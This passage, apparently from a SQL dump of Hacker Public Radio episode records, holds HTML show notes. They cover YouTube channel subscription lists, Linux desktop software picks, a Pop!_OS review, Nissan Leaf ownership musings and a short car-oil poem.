href=\"https://www.youtube.com/channel/UCRd5EO6FvhIrqQnk0cscSDA\" class=\"uri\">https://www.youtube.com/channel/UCRd5EO6FvhIrqQnk0cscSDA</a></li>\r\n<li>Geeks on Tour - <a href=\"https://www.youtube.com/channel/UCLM_wnCtDaGBWkYGQS4T6Bw\" class=\"uri\">https://www.youtube.com/channel/UCLM_wnCtDaGBWkYGQS4T6Bw</a></li>\r\n<li>Duet Justus - <a href=\"https://www.youtube.com/channel/UCIeTn13FYQI1YL4InzvuWuQ\" class=\"uri\">https://www.youtube.com/channel/UCIeTn13FYQI1YL4InzvuWuQ</a></li>\r\n<li>Firesign Theatre - <a href=\"https://www.youtube.com/channel/UCXdhVqpbttKSvBWGWHSBkgw\" class=\"uri\">https://www.youtube.com/channel/UCXdhVqpbttKSvBWGWHSBkgw</a></li>\r\n<li>Hana Malhas - <a href=\"https://www.youtube.com/channel/UCpoMVaoVRf3Xvf10_EIZKrg\" class=\"uri\">https://www.youtube.com/channel/UCpoMVaoVRf3Xvf10_EIZKrg</a></li>\r\n<li>Healthcare Triage - <a href=\"https://www.youtube.com/channel/UCabaQPYxxKepWUsEVQMT4Kw\" class=\"uri\">https://www.youtube.com/channel/UCabaQPYxxKepWUsEVQMT4Kw</a></li>\r\n<li>How Stuff Works - <a href=\"https://www.youtube.com/channel/UCa35qyNpnlZ_u8n9qoAZbMQ\" class=\"uri\">https://www.youtube.com/channel/UCa35qyNpnlZ_u8n9qoAZbMQ</a></li>\r\n<li>Jeff Pevar - <a href=\"https://www.youtube.com/channel/UCGd3v3LEwBJOsXkN-RZgFzQ\" class=\"uri\">https://www.youtube.com/channel/UCGd3v3LEwBJOsXkN-RZgFzQ</a></li>\r\n<li><a href=\"https://www.palain.com/\" class=\"uri\">https://www.palain.com/</a></li>\r\n</ul>\r\n',198,106,0,'CC-BY-SA','YouTube, Channels, Subscriptions',0,0,1),
(2765,'2019-03-08','My YouTube Subscriptions #3',1329,'Part three of my list of subscribed channels','<p>I am subscribed to a number of YouTube channels, and I am sharing them with you</p>\r\n<ul>\r\n<li>Jennie Breeden - <a href=\"https://www.youtube.com/channel/UCMwWHArL7o7n-So1r-T_u3w\" class=\"uri\">https://www.youtube.com/channel/UCMwWHArL7o7n-So1r-T_u3w</a></li>\r\n<li>Kate Techtonics - <a href=\"https://www.youtube.com/channel/UC4uxJvPa2nGe1ItPJsz2ORg\" class=\"uri\">https://www.youtube.com/channel/UC4uxJvPa2nGe1ItPJsz2ORg</a></li>\r\n<li>Lydian Collective - <a href=\"https://www.youtube.com/channel/UCGFAwyexOW5Vi24zvYOSc-A\" class=\"uri\">https://www.youtube.com/channel/UCGFAwyexOW5Vi24zvYOSc-A</a></li>\r\n<li>Metropole Orkest - <a href=\"https://www.youtube.com/channel/UClOuC_V57_bW5sZ5yuh2IKw\" class=\"uri\">https://www.youtube.com/channel/UClOuC_V57_bW5sZ5yuh2IKw</a></li>\r\n<li>Mike Pachelli - <a href=\"https://www.youtube.com/channel/UCHnZrxYdMc0lNk8kEZVUoTA\" class=\"uri\">https://www.youtube.com/channel/UCHnZrxYdMc0lNk8kEZVUoTA</a></li>\r\n<li>Mortons on the Move - <a href=\"https://www.youtube.com/channel/UCirNI5XV3xZZApeIe0a5-6Q\" class=\"uri\">https://www.youtube.com/channel/UCirNI5XV3xZZApeIe0a5-6Q</a></li>\r\n<li>Nixie Pixel - <a href=\"https://www.youtube.com/channel/UCBE-FO9JUOghSysV9gjTeHw\" class=\"uri\">https://www.youtube.com/channel/UCBE-FO9JUOghSysV9gjTeHw</a></li>\r\n<li>Numberphile - <a href=\"https://www.youtube.com/channel/UCoxcjq-8xIDTYp3uz647V5A\" class=\"uri\">https://www.youtube.com/channel/UCoxcjq-8xIDTYp3uz647V5A</a></li>\r\n<li>Nature Video - <a href=\"https://www.youtube.com/channel/UC7c8mE90qCtu11z47U0KErg\" class=\"uri\">https://www.youtube.com/channel/UC7c8mE90qCtu11z47U0KErg</a></li>\r\n<li>Ohio LinuxFest - <a href=\"https://www.youtube.com/channel/UCpbGjYCdBwaenhnN2OKXmRg\" class=\"uri\">https://www.youtube.com/channel/UCpbGjYCdBwaenhnN2OKXmRg</a></li>\r\n<li>Piled Higher and Deeper - <a href=\"https://www.youtube.com/channel/UCUL-pmhmDcZDwsA4cX2HO5w\" class=\"uri\">https://www.youtube.com/channel/UCUL-pmhmDcZDwsA4cX2HO5w</a></li>\r\n<li>Postmodern Jukebox - <a href=\"https://www.youtube.com/channel/UCORIeT1hk6tYBuntEXsguLg\" class=\"uri\">https://www.youtube.com/channel/UCORIeT1hk6tYBuntEXsguLg</a></li>\r\n<li>RV Geeks - <a href=\"https://www.youtube.com/channel/UC2EOriLgUuwQn-uCHl58m_Q\" class=\"uri\">https://www.youtube.com/channel/UC2EOriLgUuwQn-uCHl58m_Q</a></li>\r\n<li>RVtravel - <a href=\"https://www.youtube.com/channel/UCARpsGWj6MJ7JE78OcfWKWw\" class=\"uri\">https://www.youtube.com/channel/UCARpsGWj6MJ7JE78OcfWKWw</a></li>\r\n<li>Science News - <a href=\"https://www.youtube.com/channel/UCBX5er6E37_yWB3gCM32p3g\" class=\"uri\">https://www.youtube.com/channel/UCBX5er6E37_yWB3gCM32p3g</a></li>\r\n<li>SciShow - <a href=\"https://www.youtube.com/channel/UCZYTClx2T1of7BRZ86-8fow\" class=\"uri\">https://www.youtube.com/channel/UCZYTClx2T1of7BRZ86-8fow</a></li>\r\n<li>SciShow Space - <a href=\"https://www.youtube.com/channel/UCrMePiHCWG4Vwqv3t7W9EFg\" class=\"uri\">https://www.youtube.com/channel/UCrMePiHCWG4Vwqv3t7W9EFg</a></li>\r\n<li>Sophie Alloway - <a href=\"https://www.youtube.com/channel/UCCwcpSK-9Zbo8QDsPWdM1Bg\" class=\"uri\">https://www.youtube.com/channel/UCCwcpSK-9Zbo8QDsPWdM1Bg</a></li>\r\n<li>Ten Minute History - <a href=\"https://www.youtube.com/channel/UC22BdTgxefuvUivrjesETjg\" class=\"uri\">https://www.youtube.com/channel/UC22BdTgxefuvUivrjesETjg</a></li>\r\n<li>The Fab Faux - <a href=\"https://www.youtube.com/channel/UCsU8AeRj_497u2IMxVA6OcQ\" class=\"uri\">https://www.youtube.com/channel/UCsU8AeRj_497u2IMxVA6OcQ</a></li>\r\n<li><a href=\"https://www.palain.com/\" class=\"uri\">https://www.palain.com/</a></li>\r\n</ul>\r\n',198,106,0,'CC-BY-SA','YouTube, Channels, Subscriptions',0,0,1),
(2775,'2019-03-22','My YouTube Subscriptions #4',1198,'Part four of my list of subscribed channels','<p>I am subscribed to a number of YouTube channels, and I am sharing them with you</p>\r\n<ul>\r\n<li>The HollyHobs - <a href=\"https://www.youtube.com/channel/UCkhSH-DB2xK4BIJZoql9djQ\" class=\"uri\">https://www.youtube.com/channel/UCkhSH-DB2xK4BIJZoql9djQ</a></li>\r\n<li>Adam Neely - <a href=\"https://www.youtube.com/channel/UCnkp4xDOwqqJD7sSM3xdUiQ\" class=\"uri\">https://www.youtube.com/channel/UCnkp4xDOwqqJD7sSM3xdUiQ</a></li>\r\n<li>Airstream of Scottsdale - <a href=\"https://www.youtube.com/channel/UChNNDq91qW6zDkUXM2IuIYQ\" class=\"uri\">https://www.youtube.com/channel/UChNNDq91qW6zDkUXM2IuIYQ</a></li>\r\n<li>Alternate History Hub - <a href=\"https://www.youtube.com/channel/UClfEht64_NrzHf8Y0slKEjw\" class=\"uri\">https://www.youtube.com/channel/UClfEht64_NrzHf8Y0slKEjw</a></li>\r\n<li>Alton Brown - <a href=\"https://www.youtube.com/channel/UCfDNi1aEljAQ17mUrfUjkvg\" class=\"uri\">https://www.youtube.com/channel/UCfDNi1aEljAQ17mUrfUjkvg</a></li>\r\n<li>Apartment Sessions - <a href=\"https://www.youtube.com/channel/UCpU_PAsVFl2fO649QF6Zj0Q\" class=\"uri\">https://www.youtube.com/channel/UCpU_PAsVFl2fO649QF6Zj0Q</a></li>\r\n<li>AStreaminLife - <a href=\"https://www.youtube.com/channel/UCtrZvxP1SQkBJ8kZLsslimw\" class=\"uri\">https://www.youtube.com/channel/UCtrZvxP1SQkBJ8kZLsslimw</a></li>\r\n<li>Big Truck Big RV - <a href=\"https://www.youtube.com/channel/UCaX2-JkluLd8aG0DXp0L2Xw\" class=\"uri\">https://www.youtube.com/channel/UCaX2-JkluLd8aG0DXp0L2Xw</a></li>\r\n<li>Bill Holbrook - <a href=\"https://www.youtube.com/channel/UChE4ujkOdzJ02k-F9ZqwpMw\" class=\"uri\">https://www.youtube.com/channel/UChE4ujkOdzJ02k-F9ZqwpMw</a></li>\r\n<li>CGP Grey - <a href=\"https://www.youtube.com/channel/UC2C_jShtL725hvbm1arSV9w\" class=\"uri\">https://www.youtube.com/channel/UC2C_jShtL725hvbm1arSV9w</a></li>\r\n<li>Crash Course - <a href=\"https://www.youtube.com/channel/UCX6b17PVsYBQ0ip5gyeme-Q\" class=\"uri\">https://www.youtube.com/channel/UCX6b17PVsYBQ0ip5gyeme-Q</a></li>\r\n<li>Deep Sky Videos - <a href=\"https://www.youtube.com/channel/UCo-3ThNQmPmQSQL_L6Lx1_w\" class=\"uri\">https://www.youtube.com/channel/UCo-3ThNQmPmQSQL_L6Lx1_w</a></li>\r\n<li>Doctor Who - <a href=\"https://www.youtube.com/channel/UCcOkA2Xmk1valTOWSyKyp4g\" class=\"uri\">https://www.youtube.com/channel/UCcOkA2Xmk1valTOWSyKyp4g</a></li>\r\n<li>Emperor Tigerstar - <a href=\"https://www.youtube.com/channel/UCUXqYwTCR6R3Wr-FkLTD4AQ\" class=\"uri\">https://www.youtube.com/channel/UCUXqYwTCR6R3Wr-FkLTD4AQ</a></li>\r\n<li>Fastway Trailer - <a href=\"https://www.youtube.com/channel/UCDKtrIOnj4IvatnpJkh2aXA\" class=\"uri\">https://www.youtube.com/channel/UCDKtrIOnj4IvatnpJkh2aXA</a></li>\r\n<li>fyfluiddynamics - <a href=\"https://www.youtube.com/channel/UCxuET3jfy0v8EJa7TKNiI2g\" class=\"uri\">https://www.youtube.com/channel/UCxuET3jfy0v8EJa7TKNiI2g</a></li>\r\n<li>Haylett RV - <a href=\"https://www.youtube.com/channel/UCRS9u1f7074u0Rrgu05K9Wg\" class=\"uri\">https://www.youtube.com/channel/UCRS9u1f7074u0Rrgu05K9Wg</a></li>\r\n<li>It’s OK To Be Smart - <a href=\"https://www.youtube.com/channel/UCH4BNI0-FOK2dMXoFtViWHw\" class=\"uri\">https://www.youtube.com/channel/UCH4BNI0-FOK2dMXoFtViWHw</a></li>\r\n<li>Less Junk, More Journey - <a href=\"https://www.youtube.com/channel/UC2IENUorXc6kRtIiAGPRKZA\" class=\"uri\">https://www.youtube.com/channel/UC2IENUorXc6kRtIiAGPRKZA</a></li>\r\n<li>Long, Long Honeymoon - <a href=\"https://www.youtube.com/channel/UCw5WYtMXQ799GErKpvR_5Rw\" class=\"uri\">https://www.youtube.com/channel/UCw5WYtMXQ799GErKpvR_5Rw</a></li>\r\n<li>Matt’s RV Reviews - <a href=\"https://www.youtube.com/channel/UCBHww2yk8soPJ9IcbZ0n_Uw\" class=\"uri\">https://www.youtube.com/channel/UCBHww2yk8soPJ9IcbZ0n_Uw</a></li>\r\n<li><a href=\"https://www.palain.com/\" class=\"uri\">https://www.palain.com/</a></li>\r\n</ul>\r\n',198,106,0,'CC-BY-SA','YouTube, Channels, Subscriptions',0,0,1),
(2790,'2019-04-12','My YouTube Subscriptions #5',1206,'Part five of my list of subscribed channels','<p>I am subscribed to a number of YouTube channels, and I am sharing them with you</p>\r\n<ul>\r\n<li>Mental Floss - <a href=\"https://www.youtube.com/channel/UCpZ5qUqpW4hW4zdfuBxMSJA\" class=\"uri\">https://www.youtube.com/channel/UCpZ5qUqpW4hW4zdfuBxMSJA</a></li>\r\n<li>Minute Earth - <a href=\"https://www.youtube.com/channel/UCeiYXex_fwgYDonaTcSIk6w\" class=\"uri\">https://www.youtube.com/channel/UCeiYXex_fwgYDonaTcSIk6w</a></li>\r\n<li>Minute Physics - <a href=\"https://www.youtube.com/channel/UCUHW94eEFW7hkUMVaZz4eDg\" class=\"uri\">https://www.youtube.com/channel/UCUHW94eEFW7hkUMVaZz4eDg</a></li>\r\n<li>Mona Lisa Twins - <a href=\"https://www.youtube.com/channel/UCWK_fTtt5p1nBw__P_V_qBw\" class=\"uri\">https://www.youtube.com/channel/UCWK_fTtt5p1nBw__P_V_qBw</a></li>\r\n<li>Monty Python - <a href=\"https://www.youtube.com/channel/UCGm3CO6LPcN-Y7HIuyE0Rew\" class=\"uri\">https://www.youtube.com/channel/UCGm3CO6LPcN-Y7HIuyE0Rew</a></li>\r\n<li>Objectivity - <a href=\"https://www.youtube.com/channel/UCtwKon9qMt5YLVgQt1tvJKg\" class=\"uri\">https://www.youtube.com/channel/UCtwKon9qMt5YLVgQt1tvJKg</a></li>\r\n<li>OfficialGoRVing - <a href=\"https://www.youtube.com/channel/UC8nwC2SO4k6AF-E2liOiSQQ\" class=\"uri\">https://www.youtube.com/channel/UC8nwC2SO4k6AF-E2liOiSQQ</a></li>\r\n<li>PBS Eons - <a href=\"https://www.youtube.com/channel/UCzR-rom72PHN9Zg7RML9EbA\" class=\"uri\">https://www.youtube.com/channel/UCzR-rom72PHN9Zg7RML9EbA</a></li>\r\n<li>PBS SpaceTime - <a href=\"https://www.youtube.com/channel/UC7_gcs09iThXybpVgjHZ_7g\" class=\"uri\">https://www.youtube.com/channel/UC7_gcs09iThXybpVgjHZ_7g</a></li>\r\n<li>Periodic Videos - <a href=\"https://www.youtube.com/channel/UCtESv1e7ntJaLJYKIO1FoYw\" class=\"uri\">https://www.youtube.com/channel/UCtESv1e7ntJaLJYKIO1FoYw</a></li>\r\n<li>Physics Girl - <a href=\"https://www.youtube.com/channel/UC7DdEm33SyaTDtWYGO2CwdA\" class=\"uri\">https://www.youtube.com/channel/UC7DdEm33SyaTDtWYGO2CwdA</a></li>\r\n<li>Rollin’ On TV - <a href=\"https://www.youtube.com/channel/UCAfquicUYGba3nuzQ-n0tnw\" class=\"uri\">https://www.youtube.com/channel/UCAfquicUYGba3nuzQ-n0tnw</a></li>\r\n<li>RV Education 101 - <a href=\"https://www.youtube.com/channel/UCQNg-4bXbDGS61casEa5LyQ\" class=\"uri\">https://www.youtube.com/channel/UCQNg-4bXbDGS61casEa5LyQ</a></li>\r\n<li>RV to Freedom - <a href=\"https://www.youtube.com/channel/UCJxweRfyWOMcbwxpK4FnsyA\" class=\"uri\">https://www.youtube.com/channel/UCJxweRfyWOMcbwxpK4FnsyA</a></li>\r\n<li>Sciencium - <a href=\"https://www.youtube.com/channel/UCGRB1ZjIqAiaGwt-XLq9CnA\" class=\"uri\">https://www.youtube.com/channel/UCGRB1ZjIqAiaGwt-XLq9CnA</a></li>\r\n<li>SciFri - <a href=\"https://www.youtube.com/channel/UCDjGU4DP3b-eGxrsipCvoVQ\" class=\"uri\">https://www.youtube.com/channel/UCDjGU4DP3b-eGxrsipCvoVQ</a></li>\r\n<li>SciShow Psych - <a href=\"https://www.youtube.com/channel/UCUdettijNYvLAm4AixZv4RA\" class=\"uri\">https://www.youtube.com/channel/UCUdettijNYvLAm4AixZv4RA</a></li>\r\n<li><a href=\"https://www.palain.com/\" class=\"uri\">https://www.palain.com/</a></li>\r\n</ul>\r\n',198,106,0,'CC-BY-SA','YouTube, Channels, Subscriptions',0,0,1),
(2800,'2019-04-26','My YouTube Subscriptions #6',1169,'Part six of my list of subscribed channels','<p>I am subscribed to a number of YouTube channels, and I am sharing them with you</p>\r\n<ul>\r\n<li>SgtPepper Channel - <a href=\"https://www.youtube.com/channel/UCAZZwDyOoSG32tIpMjQ-EKA\" class=\"uri\">https://www.youtube.com/channel/UCAZZwDyOoSG32tIpMjQ-EKA</a></li>\r\n<li>Sid Meier’s Civilization - <a href=\"https://www.youtube.com/channel/UCWj7XnnfbKHGVnZ8iSoETSQ\" class=\"uri\">https://www.youtube.com/channel/UCWj7XnnfbKHGVnZ8iSoETSQ</a></li>\r\n<li>Sixty Symbols - <a href=\"https://www.youtube.com/channel/UCvBqzzvUBLCs8Y7Axb-jZew\" class=\"uri\">https://www.youtube.com/channel/UCvBqzzvUBLCs8Y7Axb-jZew</a></li>\r\n<li>Smarter Every Day - <a href=\"https://www.youtube.com/channel/UC6107grRI4m0o2-emgoDnAA\" class=\"uri\">https://www.youtube.com/channel/UC6107grRI4m0o2-emgoDnAA</a></li>\r\n<li>Space Frontier Foundation - <a href=\"https://www.youtube.com/channel/UCe_aC8RselByR6B2UMnprQA\" class=\"uri\">https://www.youtube.com/channel/UCe_aC8RselByR6B2UMnprQA</a></li>\r\n<li>Streamin’ Freedom - <a href=\"https://www.youtube.com/channel/UCEl_3AAj2pA-GvkxTS7-mxg\" class=\"uri\">https://www.youtube.com/channel/UCEl_3AAj2pA-GvkxTS7-mxg</a></li>\r\n<li>Suibhne - <a href=\"https://www.youtube.com/channel/UCQD-0MjUbDBwm2UTVYr0Dag\" class=\"uri\">https://www.youtube.com/channel/UCQD-0MjUbDBwm2UTVYr0Dag</a></li>\r\n<li>Talk More Talk - <a href=\"https://www.youtube.com/channel/UC7rNO8_kPBH-caQH9vzNe8A\" class=\"uri\">https://www.youtube.com/channel/UC7rNO8_kPBH-caQH9vzNe8A</a></li>\r\n<li>The Beatles - <a href=\"https://www.youtube.com/channel/UCc4K7bAqpdBP8jh1j9XZAww\" class=\"uri\">https://www.youtube.com/channel/UCc4K7bAqpdBP8jh1j9XZAww</a></li>\r\n<li>The Economist - <a href=\"https://www.youtube.com/channel/UC0p5jTq6Xx_DosDFxVXnWaQ\" class=\"uri\">https://www.youtube.com/channel/UC0p5jTq6Xx_DosDFxVXnWaQ</a></li>\r\n<li>The Extraordinary Universe - <a href=\"https://www.youtube.com/channel/UC_2MM6tCMKWCj-AnvjIhJtw\" class=\"uri\">https://www.youtube.com/channel/UC_2MM6tCMKWCj-AnvjIhJtw</a></li>\r\n<li>The Great War - <a href=\"https://www.youtube.com/channel/UCUcyEsEjhPEDf69RRVhRh4A\" class=\"uri\">https://www.youtube.com/channel/UCUcyEsEjhPEDf69RRVhRh4A</a></li>\r\n<li>The Planetary Society - <a href=\"https://www.youtube.com/channel/UCi0TZmFfgS4oQPcRQ6-KRXg\" class=\"uri\">https://www.youtube.com/channel/UCi0TZmFfgS4oQPcRQ6-KRXg</a></li>\r\n<li>The Saxy Gamer - <a href=\"https://www.youtube.com/channel/UCJCY4j5zSuV1TFN2VQGeD0Q\" class=\"uri\">https://www.youtube.com/channel/UCJCY4j5zSuV1TFN2VQGeD0Q</a></li>\r\n<li>Totally Trailer - <a href=\"https://www.youtube.com/channel/UCuMYtpUa2kaPaG4tBlJAZOA\" class=\"uri\">https://www.youtube.com/channel/UCuMYtpUa2kaPaG4tBlJAZOA</a></li>\r\n<li>Trailer Life DIY - <a href=\"https://www.youtube.com/channel/UCMmzjxJREn4kDK-ypq9oA7w\" class=\"uri\">https://www.youtube.com/channel/UCMmzjxJREn4kDK-ypq9oA7w</a></li>\r\n<li>Veritasium - <a href=\"https://www.youtube.com/channel/UCHnyfMqiRRG1u-2MsSQLbXA\" class=\"uri\">https://www.youtube.com/channel/UCHnyfMqiRRG1u-2MsSQLbXA</a></li>\r\n<li>Vintage space - <a href=\"https://www.youtube.com/channel/UCw95T_TgbGHhTml4xZ9yIqg\" class=\"uri\">https://www.youtube.com/channel/UCw95T_TgbGHhTml4xZ9yIqg</a></li>\r\n<li>Vlogbrothers - <a href=\"https://www.youtube.com/channel/UCGaVdbSav8xWuFWTadK6loA\" class=\"uri\">https://www.youtube.com/channel/UCGaVdbSav8xWuFWTadK6loA</a></li>\r\n<li><a href=\"https://www.palain.com/\" class=\"uri\">https://www.palain.com/</a></li>\r\n</ul>\r\n',198,106,0,'CC-BY-SA','YouTube, Channels, Subscriptions',0,0,1),
(2738,'2019-01-30','My Applications',229,'just a short show on the applications I use on my Linux Mint Box','<p>Hi again, this is Tony Hughes from Blackpool in the UK. Ken is still short of shows so here is another quick show to help out with the queue.</p>\r\n<p>This one is going to be about the applications I use on my Linux Mint 19.1 install. I’ve been using Linux for over 10 years now and during that time have never felt that there was anything that was lacking in the software department for day to day productivity and general day to day use, so this is just a list of some of the things that I, and I suspect most computer users, need to make electronic life a reality.</p>\r\n<p>So for internet browsing I use Firefox, I’ve been using this since my Windows days and it was just natural that, as this is the default web browser in Linux Mint, that this is what I would continue to use when I moved over to Linux.</p>\r\n<p>Email – I have several web based accounts which means these are operating system agnostic, but for my Internet Service provider account I use Thunderbird to download and store my e-mail onto my main desktop PC. I can also use this to access my web based accounts and store emails for these off line as well if needed.</p>\r\n<p>Office productivity is provided for with LibreOffice which is a very mature and comprehensive office suite comprising of all the main tools needed such as a word processor, spreadsheet and presentation software. It also has a Database and drawing package, and for maths geeks an advanced maths formula creating program which I have never used, but could be very useful for students and scientists.</p>\r\n<p>For audio and video playback I use VLC which again is something I first used back in my windows days, it works with all the audio and video codecs you can throw at it, and if you have the Libdvdcss codecs installed will play proprietary DVD’s.</p>\r\n<p>For recording and editing audio including this podcast I use Audacity, which is again a cross platform programme and a very powerful piece of software, as myself and many others that use it will be able to tell you</p>\r\n<p>So that is a short list of the programmes that I use on a day to day basis. I hope you found it useful, if not it doesn’t matter as Ken still got a show out of me.</p>\r\n<p>Well that’s it for this one. This is Tony Hughes signing off for now.</p>\r\n',338,0,0,'CC-BY-SA','productivity software',0,0,1),
(2740,'2019-02-01','Pop!_OS 18.10 (quick) review',438,'In this episode, Yannick does a quick review of Pop OS 18.10','<p>This episode is a re-edition of the review of Pop_OS! I did for <a href=\"https://tuxjam.otherside.network/?p=391\">TuxJam</a> back in December 2018. Pop_OS! is published by <a href=\"https://system76.com/pop\">System76</a>.</p>\r\n',370,0,0,'CC-BY-SA','linux,distro,distribution,pop_os,system76,ubuntu',0,0,1),
(2744,'2019-02-07','Yet Another Rambling Drive Into Work',2022,'Yet another rambling attempt at making a show on the way into work','<p>I came across this show sitting in my digital recorder I recorded it back in November 2017 but never posted it, my thoughts on some of the things I mention in this show have since evolved, I’ll stick these changed thoughts at the end of these notes and may also stick in an extra recorded section at the end of the show.</p>\r\n<ul>\r\n<li><p>Previous Ford Focus<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Ford_Focus#First_generation_(1998%E2%80%932004)\">https://en.wikipedia.org/wiki/Ford_Focus#First_generation_(1998%E2%80%932004)</a></p></li>\r\n<li><p>Renault 19, 16V<br />\r\nMine was not a a soft top<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Renault_19#16S\" class=\"uri\">https://en.wikipedia.org/wiki/Renault_19#16S</a><br />\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/d/d8/Ren1916vcabph1b.jpg\" alt=\"https://upload.wikimedia.org/wikipedia/commons/d/d8/Ren1916vcabph1b.jpg\" /></p></li>\r\n<li><p>Current Ford Focus<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Ford_Focus#Second_generation_(2004%E2%80%932011)\">https://en.wikipedia.org/wiki/Ford_Focus#Second_generation_(2004%E2%80%932011)</a></p></li>\r\n<li><p>Nissan Leaf 24kw<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Nissan_Leaf#2014/15_model_year\" class=\"uri\">https://en.wikipedia.org/wiki/Nissan_Leaf#2014/15_model_year</a></p></li>\r\n<li><p>Nissan Leaf 30Kw<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Nissan_Leaf#2016_model_year\" class=\"uri\">https://en.wikipedia.org/wiki/Nissan_Leaf#2016_model_year</a></p></li>\r\n<li><p>Nissan leaf 40Kw<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Nissan_Leaf#Second_generation_(2017%E2%80%93present)\">https://en.wikipedia.org/wiki/Nissan_Leaf#Second_generation_(2017%E2%80%93present)</a></p></li>\r\n<li><p>Kilts<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Kilt\" class=\"uri\">https://en.wikipedia.org/wiki/Kilt</a></p></li>\r\n<li><p>Bagpipes<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Bagpipes\" class=\"uri\">https://en.wikipedia.org/wiki/Bagpipes</a></p></li>\r\n<li><p>Accordion<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Accordion\" class=\"uri\">https://en.wikipedia.org/wiki/Accordion</a></p></li>\r\n<li><p>Squeeze Box<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Squeezebox\" class=\"uri\">https://en.wikipedia.org/wiki/Squeezebox</a></p></li>\r\n<li><p>Haggis<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Haggis\" class=\"uri\">https://en.wikipedia.org/wiki/Haggis</a></p></li>\r\n<li><p>Co-op<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Cooperative\" class=\"uri\">https://en.wikipedia.org/wiki/Cooperative</a></p></li>\r\n<li><p>Example of a Haggis Pizza, though not from the Co-op<br />\r\n<a href=\"https://www.sainsburys.co.uk/webapp/wcs/stores/servlet/gb/groceries/cosmo-haggis-pizza-450g?langId=44&amp;storeId=10151&amp;krypto=9555DKfWSs9%2FPZXDDPtNmunNVefFVynanbSeQICSqvaqFAqsHBIPIKiSBqw2aq4oL2g8H8Mht9FuPj%2FYvtWLegub3%2F9KqGLI16COGk2qTEwkFeo9zgw2ELE4DtGbDzzRldgf51yrZVaYL9WXmfOvDS%2FiJx9pqI12OIXlHwmPkmc%3D&amp;ddkey=https%3Agb%2Fgroceries%2Fcosmo-haggis-pizza-450g\">https://www.sainsburys.co.uk/webapp/wcs/stores/servlet/gb/groceries/cosmo-haggis-pizza-450g?langId=44&amp;storeId=10151&amp;krypto=9555DKfWSs9%2FPZXDDPtNmunNVefFVynanbSeQICSqvaqFAqsHBIPIKiSBqw2aq4oL2g8H8Mht9FuPj%2FYvtWLegub3%2F9KqGLI16COGk2qTEwkFeo9zgw2ELE4DtGbDzzRldgf51yrZVaYL9WXmfOvDS%2FiJx9pqI12OIXlHwmPkmc%3D&amp;ddkey=https%3Agb%2Fgroceries%2Fcosmo-haggis-pizza-450g</a></p></li>\r\n<li><p>Nissan Leaf Phone App to remotely control heating system<br />\r\n<a href=\"https://youplus.nissan.co.uk/GB/en/YouPlus/ConnectedServices.html\" class=\"uri\">https://youplus.nissan.co.uk/GB/en/YouPlus/ConnectedServices.html</a></p></li>\r\n<li><p>Citroen BX, Hydraulic suspension<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Citro%C3%ABn_BX\">https://en.wikipedia.org/wiki/Citro%C3%ABn_BX</a></p></li>\r\n<li><p>Reversing sensors, and camera<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Parking_sensor\" class=\"uri\">https://en.wikipedia.org/wiki/Parking_sensor</a></p></li>\r\n</ul>\r\n<p>Here are the changes since I recorded this show in November 2017, it is now October 2018.</p>\r\n<p>Think there was a £4,500 pound grant on new EV cars however it has been announced that this grant will in the near future will be cut to £3500.</p>\r\n<p>I think the Government and Nissan together had a £2000 contribution scheme when you traded in an old car for a 2nd hand leaf I think this is no longer available now that the leaf is more popular.</p>\r\n<p>Fuel costs have gone up and I may have miscalculated I think my true annual fuel bill is nearer to £2,000</p>\r\n<p>Nissan leaf road tax is free</p>\r\n<p>Because of supply and demand the depreciation situation has completely changed had I bought this leaf in November 2017 it would now be worth more today in October 2018. Only time will tell how it all pans out, things are changing rapidly.</p>\r\n<p>After further investigation it looks like battery degradation is less than I first thought and would likely still be in pretty good condition at 6 years old, particularly in a cooler country like here in the UK in Scotland.</p>\r\n<p>There has been some controversy about the new 40kw leaf which may also impact in the older leaf making the older leaf’s more appealing contributing further to the high demand for the older 30kw and 24kw leafs.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Nissan_Leaf#Criticism\" class=\"uri\">https://en.wikipedia.org/wiki/Nissan_Leaf#Criticism</a><br />\r\n<a href=\"https://www.greencarreports.com/news/1116139_2018-nissan-leaf-electric-car-is-there-a-fast-charging-problem\" class=\"uri\">https://www.greencarreports.com/news/1116139_2018-nissan-leaf-electric-car-is-there-a-fast-charging-problem</a></p>\r\n<p>With the increased popularity of the older 24 and 30Kw leafs Nissan may no longer be so keen to give you a no quibble test drive.</p>\r\n<p>I think it’s looking increasingly like I made the wrong decision.</p>\r\n',201,0,1,'CC-BY-SA','Podcast, Cars',0,0,1),
(2746,'2019-02-11','My software part 2',326,'More about the software I use regularly on Linux ','<p>Good day to all in HPR land, this is Tony Hughes coming to you from Blackpool in the UK again. This is a second instalment about some of the software I use on Linux Mint 19.1, on a regular basis. So without further ado lets get on with the show.</p>\r\n<ul>\r\n<li><p>USB Image writer</p></li>\r\n<li><p>VirtualBox – Virtualisation software to virtualise x86 and AMD64 bit PC’s</p></li>\r\n<li><p>OBS – Open Broadcast software</p></li>\r\n<li><p>Brasero/XFburn – CD/DVD writing software</p></li>\r\n<li><p>GIMP – GNU Image manipulation Program</p></li>\r\n</ul>\r\n<p>So that’s it for this episode. I’ll be back to talk about some of the utilities I use on Mint on another show. This is Tony Hughes signing off for now.</p>\r\n',338,0,0,'CC-BY-SA','Linux Mint 19.1,utilities',0,0,1),
(2747,'2019-02-12','checking oil',317,'checking your oil may not be so simple','<blockquote>\r\n<p>a 914 shows up…<br />\r\nit has a 911 engine…<br />\r\ni check the oil…<br />\r\nthe car lives…</p>\r\n</blockquote>\r\n',329,0,1,'CC-BY-SA','automotive',0,0,1),
